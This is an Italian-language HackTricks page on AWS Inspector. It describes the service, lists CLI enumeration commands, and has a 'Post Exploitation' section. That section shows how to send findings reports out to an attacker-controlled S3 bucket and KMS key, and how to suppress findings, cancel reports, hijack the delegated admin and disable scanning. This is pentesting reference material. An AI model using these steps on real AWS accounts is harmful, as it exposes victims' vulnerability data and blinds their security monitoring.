AWS - Inspector Enum

AWS - Inspector Enum

Supporta HackTricks

Inspector

Amazon Inspector è un servizio avanzato e automatizzato di gestione delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue continuamente scansioni delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per vulnerabilità e esposizioni involontarie della rete. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce risultati dettagliati, inclusi livelli di gravità e raccomandazioni per la remediation, aiutando le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rinforzata attraverso vari servizi AWS, supportando la conformità e la gestione del rischio.

Elementi chiave

Risultati

I risultati in Amazon Inspector sono rapporti dettagliati sulle vulnerabilità e le esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al loro stato, i risultati sono categorizzati come:

  • Attivo: Il risultato non è stato risolto.

  • Chiuso: Il risultato è stato risolto.

  • Soppresso: Il risultato è stato contrassegnato con questo stato a causa di una o più regole di soppressione.

I risultati sono anche categorizzati nei seguenti tre tipi:

  • Pacchetto: Questi risultati riguardano vulnerabilità nei pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti.

  • Codice: Questa categoria include vulnerabilità trovate nel codice delle applicazioni in esecuzione sulle tue risorse AWS. Problemi comuni sono errori di codifica o pratiche insicure che potrebbero portare a violazioni della sicurezza.

  • Rete: I risultati di rete identificano potenziali esposizioni nelle configurazioni di rete che potrebbero essere sfruttate dagli attaccanti. Questi includono porte aperte, protocolli di rete insicuri e gruppi di sicurezza mal configurati.

Filtri e Regole di Soppressione

I filtri e le regole di soppressione in Amazon Inspector aiutano a gestire e prioritizzare i risultati. I filtri consentono di affinare i risultati in base a criteri specifici, come gravità o tipo di risorsa. Le regole di soppressione consentono di sopprimere determinati risultati considerati a basso rischio, già mitigati o per qualsiasi altro motivo importante, prevenendo il sovraccarico dei rapporti di sicurezza e consentendo di concentrarsi su questioni più critiche.

Software Bill of Materials (SBOM)

Un Software Bill of Materials (SBOM) in Amazon Inspector è un elenco di inventario annidato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, comprese librerie e dipendenze. Gli SBOM aiutano a fornire trasparenza nella catena di fornitura del software, consentendo una migliore gestione delle vulnerabilità e conformità. Sono cruciali per identificare e mitigare i rischi associati ai componenti software open source e di terze parti.

Caratteristiche chiave

Esporta risultati

Amazon Inspector offre la possibilità di esportare risultati in Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, il che consente di generare rapporti dettagliati delle vulnerabilità e delle esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, facilitando l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, consentendo di filtrare i risultati in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutti i tuoi risultati nella regione AWS corrente con uno stato Attivo.

Quando si esportano i risultati, è necessario una chiave del Key Management Service (KMS) per crittografare i dati durante l'esportazione. Le chiavi KMS garantiscono che i risultati esportati siano protetti da accessi non autorizzati, fornendo un ulteriore livello di sicurezza per le informazioni sensibili sulle vulnerabilità.

Scansione delle istanze Amazon EC2

Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2 per rilevare vulnerabilità e problemi di sicurezza. Inspector confronta i metadati estratti dall'istanza EC2 con le regole delle avvertenze di sicurezza per produrre vulnerabilità dei pacchetti e problemi di raggiungibilità della rete. Queste scansioni possono essere eseguite tramite metodi basati su agenti o senza agenti, a seconda della configurazione delle impostazioni di modalità di scansione del tuo account.

  • Basato su Agenti: Utilizza l'agente AWS Systems Manager (SSM) per eseguire scansioni approfondite. Questo metodo consente una raccolta e analisi dei dati completa direttamente dall'istanza.

  • Senza Agenti: Fornisce un'alternativa leggera che non richiede l'installazione di un agente sull'istanza, creando uno snapshot EBS di ogni volume dell'istanza EC2, cercando vulnerabilità e poi eliminandolo; sfruttando l'infrastruttura AWS esistente per la scansione.

La modalità di scansione determina quale metodo sarà utilizzato per eseguire le scansioni EC2:

  • Basato su Agenti: Comporta l'installazione dell'agente SSM sulle istanze EC2 per un'ispezione approfondita.

  • Scansione Ibrida: Combina metodi sia basati su agenti che senza agenti per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. In quelle istanze EC2 dove è installato l'agente SSM, Inspector eseguirà una scansione basata su agenti, e per quelle dove non c'è l'agente SSM, la scansione eseguita sarà senza agenti.

Un'altra caratteristica importante è l'ispezione approfondita per le istanze Linux EC2. Questa funzionalità offre un'analisi approfondita del software e della configurazione delle istanze Linux EC2, fornendo valutazioni dettagliate delle vulnerabilità, comprese le vulnerabilità del sistema operativo, le vulnerabilità delle applicazioni e le configurazioni errate, garantendo una valutazione completa della sicurezza. Questo viene realizzato attraverso l'ispezione di percorsi personalizzati e tutte le sue sottodirectory. Per impostazione predefinita, Amazon Inspector eseguirà la scansione dei seguenti, ma ogni account membro può definire fino a 5 percorsi personalizzati aggiuntivi, e ogni amministratore delegato fino a 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Scansione delle immagini dei container Amazon ECR

Amazon Inspector fornisce robuste capacità di scansione per le immagini dei container di Amazon Elastic Container Registry (ECR), garantendo che le vulnerabilità dei pacchetti siano rilevate e gestite in modo efficiente.

  • Scansione di Base: Questa è una scansione rapida e leggera che identifica vulnerabilità note dei pacchetti OS nelle immagini dei container utilizzando un insieme standard di regole dal progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository saranno scansionati al momento del push o eseguendo scansioni manuali.

  • Scansione Avanzata: Questa opzione aggiunge la funzionalità di scansione continua oltre alla scansione al momento del push. La scansione avanzata approfondisce i livelli di ogni immagine del container per identificare vulnerabilità nei pacchetti OS e nei pacchetti dei linguaggi di programmazione con maggiore precisione. Analizza sia l'immagine di base che eventuali livelli aggiuntivi, fornendo una visione completa dei potenziali problemi di sicurezza.

Scansione delle funzioni Amazon Lambda

Amazon Inspector include capacità di scansione complete per le funzioni AWS Lambda e i suoi livelli, garantendo la sicurezza e l'integrità delle applicazioni serverless. Inspector offre due tipi di scansione per le funzioni Lambda:

  • Scansione standard Lambda: Questa funzionalità predefinita identifica vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera un risultato.

  • Scansione del codice Lambda: Analizza il codice dell'applicazione personalizzata per problemi di sicurezza, rilevando vulnerabilità come difetti di iniezione, perdite di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali hardcoded. I risultati includono suggerimenti dettagliati per la remediation e frammenti di codice per risolvere i problemi.

Scansioni del Center for Internet Security (CIS)

Amazon Inspector include scansioni CIS per confrontare i sistemi operativi delle istanze Amazon EC2 con le raccomandazioni delle migliori pratiche del Center for Internet Security (CIS). Queste scansioni garantiscono che le configurazioni aderiscano ai baseline di sicurezza standard del settore.

  • Configurazione: Le scansioni CIS valutano se le configurazioni di sistema soddisfano specifiche raccomandazioni del CIS Benchmark, con ogni controllo collegato a un ID di controllo e titolo CIS.

  • Esecuzione: Le scansioni vengono eseguite o programmate in base ai tag delle istanze e agli orari definiti.

  • Risultati: I risultati post-scansione indicano quali controlli sono stati superati, saltati o falliti, fornendo informazioni sulla postura di sicurezza di ciascuna istanza.

Enumerazione

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

Dal punto di vista di un attaccante, questo servizio può aiutare l'attaccante a trovare vulnerabilità ed esposizioni di rete che potrebbero aiutarlo a compromettere altre istanze/contenitori.

Tuttavia, un attaccante potrebbe anche essere interessato a interrompere questo servizio in modo che la vittima non possa vedere le vulnerabilità (tutte o specifiche).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Un attaccante potrebbe generare report dettagliati di vulnerabilità o fatture dei materiali software (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleto o dipendenze insicure, abilitando attacchi mirati.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

L'esempio seguente mostra come esfiltrare tutte le scoperte attive da Amazon Inspector a un bucket Amazon S3 controllato dall'attaccante con una chiave Amazon KMS controllata dall'attaccante:

  1. Crea un bucket Amazon S3 e allega una policy ad esso in modo che sia accessibile da Amazon Inspector della vittima:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Crea una chiave Amazon KMS e allega una policy ad essa in modo che possa essere utilizzata dall'Amazon Inspector della vittima:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Esegui il comando per creare il rapporto sui risultati esfiltrandolo:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impatto Potenziale: Generazione ed esfiltrazione di report dettagliati su vulnerabilità e software, ottenendo informazioni su vulnerabilità specifiche e debolezze di sicurezza.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Un attaccante potrebbe annullare la generazione del report di findings specificato o del report SBOM, impedendo ai team di sicurezza di ricevere informazioni tempestive su vulnerabilità e bolletta dei materiali software (SBOM), ritardando la rilevazione e la risoluzione di problemi di sicurezza.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impatto Potenziale: Interruzione del monitoraggio della sicurezza e prevenzione della rilevazione e rimedio tempestivi delle problematiche di sicurezza.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Un attaccante con questi permessi sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problematiche di sicurezza vengono segnalate o soppresse (se l'azione è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Questo potrebbe nascondere vulnerabilità critiche agli amministratori della sicurezza, rendendo più facile sfruttare queste debolezze senza rilevamento. Alterando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati irrilevanti, ostacolando un monitoraggio e una risposta alla sicurezza efficaci.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impatto Potenziale: Nascondere o sopprimere vulnerabilità critiche, o inondare il sistema con risultati irrilevanti.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Un attaccante potrebbe interrompere significativamente la struttura di gestione della sicurezza.

  • Disabilitando l'account admin delegato, l'attaccante potrebbe impedire al team di sicurezza di accedere e gestire le impostazioni e i report di Amazon Inspector.

  • Abilitando un account admin non autorizzato, un attaccante potrebbe controllare le configurazioni di sicurezza, potenzialmente disabilitando le scansioni o modificando le impostazioni per nascondere attività dannose.

È necessario che l'account non autorizzato sia nella stessa Organizzazione della vittima per diventare l'amministratore delegato.

Affinché l'account non autorizzato diventi l'amministratore delegato, è anche necessario che dopo che l'amministratore delegato legittimo è stato disabilitato, e prima che l'account non autorizzato venga abilitato come amministratore delegato, l'amministratore legittimo deve essere deregistrato come amministratore delegato dall'organizzazione. Questo può essere fatto con il seguente comando (organizations:DeregisterDelegatedAdministrator permesso richiesto): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impatto Potenziale: Interruzione della gestione della sicurezza.

inspector2:AssociateMember, inspector2:DisassociateMember

Un attaccante potrebbe manipolare l'associazione degli account membri all'interno di un'organizzazione Amazon Inspector. Associando account non autorizzati o disassociando quelli legittimi, un attaccante potrebbe controllare quali account sono inclusi nelle scansioni di sicurezza e nei report. Questo potrebbe portare all'esclusione di account critici dal monitoraggio della sicurezza, consentendo all'attaccante di sfruttare vulnerabilità in quegli account senza essere rilevato.

Questa azione deve essere eseguita dall'amministratore delegato.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impatto Potenziale: Esclusione di account chiave dalle scansioni di sicurezza, consentendo lo sfruttamento non rilevato delle vulnerabilità.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Un attaccante con il permesso inspector2:Disable sarebbe in grado di disabilitare le scansioni di sicurezza su specifici tipi di risorse (EC2, ECR, Lambda, codice Lambda) sui conti specificati, lasciando parti dell'ambiente AWS non monitorate e vulnerabili ad attacchi. Inoltre, grazie ai permessi inspector2:Enable & iam:CreateServiceLinkedRole, un attaccante potrebbe quindi riattivare le scansioni selettivamente per evitare il rilevamento di configurazioni sospette.

Questa azione deve essere eseguita dall'amministratore delegato.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impatto Potenziale: Creazione di punti ciechi nel monitoraggio della sicurezza.

inspector2:UpdateOrganizationConfiguration

Un attaccante con questo permesso sarebbe in grado di aggiornare le configurazioni per la tua organizzazione Amazon Inspector, influenzando le funzionalità di scansione predefinite abilitate per i nuovi account membri.

Questa azione deve essere eseguita dall'amministratore delegato.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impatto Potenziale: Alterare le politiche e le configurazioni della scansione di sicurezza per l'organizzazione.

inspector2:TagResource, inspector2:UntagResource

Un attaccante potrebbe manipolare i tag sulle risorse di AWS Inspector, che sono critici per organizzare, tracciare e automatizzare le valutazioni di sicurezza. Alterando o rimuovendo i tag, un attaccante potrebbe potenzialmente nascondere vulnerabilità dalle scansioni di sicurezza, interrompere la reportistica di conformità e interferire con i processi di remediation automatizzati, portando a problemi di sicurezza non controllati e compromettendo l'integrità del sistema.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impatto Potenziale: Nascondere vulnerabilità, interruzione della reportistica di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi.

Riferimenti

Support HackTricks

Last updated